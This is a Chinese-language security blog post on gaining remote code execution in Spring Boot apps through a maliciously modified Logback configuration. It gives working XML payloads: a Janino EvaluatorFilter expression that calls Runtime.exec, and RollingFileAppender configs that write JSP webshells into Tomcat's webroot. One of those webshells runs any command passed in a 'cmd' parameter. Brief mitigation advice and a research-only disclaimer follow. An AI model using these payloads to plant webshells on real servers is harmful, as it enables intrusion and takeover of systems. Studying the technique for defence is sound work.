利用Spring Boot 3.4.0属性实现远程代码执行的两种新方法

这篇文章主要介绍了在 Spring Boot 应用中,如何利用 Logback 日志配置不当导致远程代码执行 (RCE) 漏洞。

背景知识

  • Spring Boot: 一个快速开发 Spring 应用的框架,简化了配置。
  • Logback: 一种流行的 Java 日志框架,用于记录程序运行信息。
  • 远程代码执行 (RCE): 攻击者能够在目标服务器上执行任意代码,风险极高。

漏洞原理

如果攻击者能够修改 Spring Boot 应用的 Logback 配置文件,就有可能利用 Logback 的一些特性来执行恶意代码。

攻击方法一:EvaluatorFilter (不通用)

Logback 允许使用 EvaluatorFilter 根据日志内容进行过滤。EvaluatorFilter 中的 <expression> 标签可以执行 Java 代码。

  • 原理: 攻击者在 <expression> 中插入恶意 Java 代码,例如反弹 Shell,从而控制服务器。

  • 限制: EvaluatorFilter 依赖 Janino 库,如果应用本身没有使用 Janino,则无法利用此方法。

  • 实际应用例子: 假设我们有一个 Spring Boot 应用,允许用户上传 XML 配置文件,但没有进行严格的校验。攻击者可以上传包含恶意 EvaluatorFilter 的 Logback 配置文件。

    xml 复制代码
    <configuration>
      <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
        <filter class="ch.qos.logback.core.filter.EvaluatorFilter">
          <evaluator>
            <expression>
              <![CDATA[
                // 恶意代码:执行系统命令
                Runtime.getRuntime().exec("calc.exe");
                return false;
              ]]>
            </expression>
          </evaluator>
          <OnMismatch>NEUTRAL</OnMismatch>
          <OnMatch>DENY</OnMatch>
        </filter>
        <encoder>
          <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>
        </encoder>
      </appender>
      <root level="info">
        <appender-ref ref="STDOUT" />
      </root>
    </configuration>

攻击方法二:FileAppender (更通用)

Logback 允许使用 FileAppender 将日志写入文件。我们可以控制写入文件的内容和路径。

  • 原理: 攻击者配置 FileAppender 将恶意 JSP 代码写入 Web 应用的目录下,然后通过访问该 JSP 文件来执行代码。

  • 难点:

    • Logback 配置文件是 XML 格式,需要对特殊字符进行转义。
    • 频繁写入会导致 JSP 文件过大,超出 JVM 的限制。
  • 解决方案: 使用 Logback 的日志文件滚动策略,限制单个日志文件的大小。

  • 实际应用例子: 假设我们有一个 Spring Boot 应用,存在文件写入漏洞,允许攻击者修改 Logback 配置文件。攻击者可以利用该漏洞写入一个 Webshell 文件,例如写入到 Tomcat 的 webapps 目录。

    xml 复制代码
    <configuration debug="true">
      <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>/usr/local/tomcat/webapps/ROOT/shell.jsp</file>
        <append>true</append>
        <rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
          <fileNamePattern>/usr/local/tomcat/webapps/ROOT/shell-%d{yyyy-MM-dd}.%i.jsp</fileNamePattern>
          <maxFileSize>1KB</maxFileSize>
          <maxHistory>3</maxHistory>
          <totalSizeCap>3KB</totalSizeCap>
        </rollingPolicy>
        <encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
          <pattern>&lt;%@ page import="java.util.*,java.io.*"%&gt;&lt;% try{ FileOutputStream fos=new FileOutputStream(application.getRealPath("/")+"shell.txt"); DataOutputStream dos=new DataOutputStream(fos); dos.writeBytes("OK"); dos.close(); fos.close(); }catch( Exception e ){}%&gt;</pattern>
        </encoder>
      </appender>
      <root level="debug">
        <appender-ref ref="FILE" />
      </root>
    </configuration>

    这个配置会将一段简单的 JSP 代码写入 /usr/local/tomcat/webapps/ROOT/shell.jsp 文件。这段代码会在服务器上创建一个名为 shell.txt 的文件,用于验证 Webshell 是否成功写入。

    然后,攻击者可以通过访问 http://服务器地址/shell.jsp 来触发这段 JSP 代码,从而在服务器上创建 shell.txt 文件。

    更进一步,攻击者可以写入执行系统命令的JSP代码:

    xml 复制代码
    <configuration debug="true">
        <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
            <file>/usr/local/tomcat/webapps/ROOT/cmd.jsp</file>
            <append>true</append>
            <rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
                <fileNamePattern>/usr/local/tomcat/webapps/ROOT/cmd-%d{yyyy-MM-dd}.%i.jsp</fileNamePattern>
                <maxFileSize>1KB</maxFileSize>
                <maxHistory>3</maxHistory>
                <totalSizeCap>3KB</totalSizeCap>
            </rollingPolicy>
            <encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
                <pattern>&lt;%@ page import="java.io.*" %&gt;&lt;% String cmd = request.getParameter("cmd"); if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line); } reader.close(); process.waitFor(); } %&gt;</pattern>
            </encoder>
        </appender>
        <root level="debug">
            <appender-ref ref="FILE" />
        </root>
    </configuration>

    攻击者可以通过访问 http://服务器地址/cmd.jsp?cmd=whoami 来执行 whoami 命令,从而获取服务器的用户名。

防范措施

  • 严格控制配置文件上传: 对用户上传的 XML 配置文件进行严格的校验,防止恶意代码注入。
  • 禁用不必要的 Logback 功能: 如果应用不需要 EvaluatorFilter,可以禁用它。
  • 使用最新的 Spring Boot 版本: 及时更新 Spring Boot 版本,修复已知的安全漏洞。
  • 配置安全策略: 配置 Web 应用的安全策略,限制对敏感目录的访问。
  • 监控日志: 监控应用日志,及时发现异常行为。

总结

本文介绍了两种利用 Logback 配置不当导致 RCE 的方法。攻击者可以利用这些方法来控制服务器,风险极高。开发者应该采取必要的防范措施,保护应用的安全。

免责声明: 本文仅用于安全研究和教育目的,不得用于非法用途。

相关推荐
安清h3 分钟前
【基于SprintBoot+Mybatis+Mysql】电脑商城项目之修改密码和个人资料
数据库·后端·mysql·spring·mybatis
Dr.勿忘14 分钟前
C#面试常考随笔13: 泛型的主要约束和次要约束是什么?
开发语言·面试·c#·游戏引擎
uhakadotcom37 分钟前
Java反序列化漏洞利用进阶:绕过WAF和EDR,实现隐蔽攻击
后端·架构·github
黑兔子1 小时前
Java|导出Excel文件
java·后端
二闹1 小时前
Java抽象工厂模式的面试题目及其答案
java·后端·面试
uhakadotcom1 小时前
Next.js 框架中 CVE-2024-34350 和 CVE-2024-34351 漏洞原理与安全升级通知
前端·架构·github
傲娇的萌1 小时前
mac彻底删除goland
后端
gopher_looklook1 小时前
深度讲解Go源码-sync.WaitGroup
后端·go·源码
uhakadotcom3 小时前
macOS 内核扩展 Fuzzing 指南:用户空间 + IDA + TinyInst
后端·架构·github
uhakadotcom3 小时前
震惊!Google的AI驱动的OSS-Fuzz工具在开源项目中发现大量漏洞!
后端·架构·github